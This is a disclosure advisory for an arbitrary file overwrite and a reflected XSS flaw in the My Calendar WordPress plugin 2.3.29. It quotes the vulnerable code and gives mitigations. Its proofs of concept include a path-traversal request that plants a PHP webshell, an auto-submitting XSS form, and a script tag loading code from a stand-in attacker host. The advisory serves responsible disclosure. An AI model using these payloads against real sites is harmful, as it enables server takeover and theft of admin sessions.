• Vulnerability: Arbitrary File Override & Reflected XSS
  • Affected Software: My Calendar (WordPress Plugin)
  • Affected Version: 2.3.29 (probably also prior versions)
  • Patched Version: 2.3.30
  • Risk: Medium
  • Vendor Contacted: 2015-05-10
  • Vendor Fix: 2015-05-11
  • Public Disclosure: 2015-05-15

There is an arbitrary file override vulnerability as well as a reflected XSS vulnerability in the current version (2.3.29) of the My Calendar plugin.

Arbitrary File Override

Risk

Medium; With admin access, it is possible to override all files the webserver user has access to, ignoring DISALLOW_FILE_EDIT.

Description

DISALLOW_FILE_EDIT is a very useful setting, as it severely limits the damage an attacker can do once they gained WordPress admin credentials, as it doesn’t allow the editing of PHP files from the WordPress admin webinterface. Thus, an attacker can not gain PHP code execution.

The plugin doesn’t respect this setting though, so it is possible to override any existing file that is stored on the server.

This is also not limited to PHP files or the webserver root directory, so if the webserver user has access to for example the shadow file, an attacker can override that as well.

POC: PHP Code execution

Most servers have a writable PHP file somewhere. There are also quite a few plugins that require writable PHP files, so it should not be hard for an attacker to find one.

POST http://localhost/wordpress/wp-admin/admin.php?page=my-calendar-styles
   Post Data:
      _wpnonce[a_valid_nonce]
      mc_edit_style[true]

mc_css_file[../../../../../../../var/www/wordpress/wp-content/plugins/some-plugin/some-writable-file.php]
      mc_show_css[]
      style[<?php passthru($_GET['exec']) ?>]
      save[Save+Changes]

GET
http://localhost/wordpress/wp-content/plugins/some-plugin/some-writable-file.php?exec=id

Code

The entry point is the edit_my_calendar_styles function in my-calendar-styles.php at line 86. It uses mc_write_styles, which doesn’t perform any kind of sanitation before writing to a file:

// my-calendar-styles.php:69
function mc_write_styles( $stylefile, $my_calendar_style ) {
        if ( function_exists( 'wp_is_writable' ) ) {
            $is_writable = wp_is_writable( $stylefile );
        } else {
            $is_writable = is_writeable( $stylefile );
        }
        if ( $is_writable ) {
            $f = fopen( $stylefile, 'w+' );
            fwrite( $f, $my_calendar_style ); // number of bytes to write, max.
            fclose( $f );

            return true;
        } else {
            return false;
        }
}

Mitigation

Any of these would mitigate the issue:

  1. Don’t allow path traversal in mc_write_styles
  2. Only allow the writing of CSS files in mc_write_styles
  3. Check against whitelist of allowed CSS files in mc_write_styles

Reflected XSS

There seem to be quite a few places where user input is printed but is not properly encoded. In most instances, the plugin uses WordPress Nonces, which prevent the exploitation of this. But there is at least one place where Nonces are not used.

Risk

Medium; Arbitrary JavaScript execution when victim clicks on link.

Description

XSS can lead to key logging, phishing, stealing of cookies, and so on. The fact that these are present in an admin area does not weaken the attack, as the most interesting victim will be an admin. Reflected XSS via POST is also not considerably weaker than reflected XSS via GET.

This attack can also be combined with the Arbitrary File Override attack described above, which would result in a code execution once an admin clicked on a link provided by an attacker (the anti-CSRF nonce can be bypassed via XSS).

POC

<form name="myform"
action="http://localhost/wordpress/wp-admin/admin.php?page=my-calendar-help"
method="POST">
<input name="generator" id="generator" value="1">
<input name="foo" id="foo" value="</textarea><script>alert(1)</script>">
<input type="submit" value="Submit">
</form>
<script>document.myform.submit();</script>

Instead of the alert,

</textarea><script src='evil.attacker/script.js'></script>

could be used, thus loading a remote script. When an attacker gets an admin to click on a link which points to a website which includes this code, the script will be executed in the context of the WordPress website.

Code

    // my-calendar-generator.php:6
    function mc_generate() {
        if ( isset( $_POST['generator'] ) ) {
            $string = '';
        [...]
                foreach ( $_POST as $key => $value ) {
        [...]
                            $v = $value;
        [...]
                            $string .= " $key=&quot;$v&quot;";
        [...]
                $output = $shortcode . $string;  
            }
            $return = "<div class='updated'><textarea
readonly='readonly'>[$output]</textarea></div>";
            echo $return;
        }
    }

The function is for example used in my-calendar-help.php

Mitigation

Use htmlentities on all variable data. Alternatively, use one of WordPresses functions.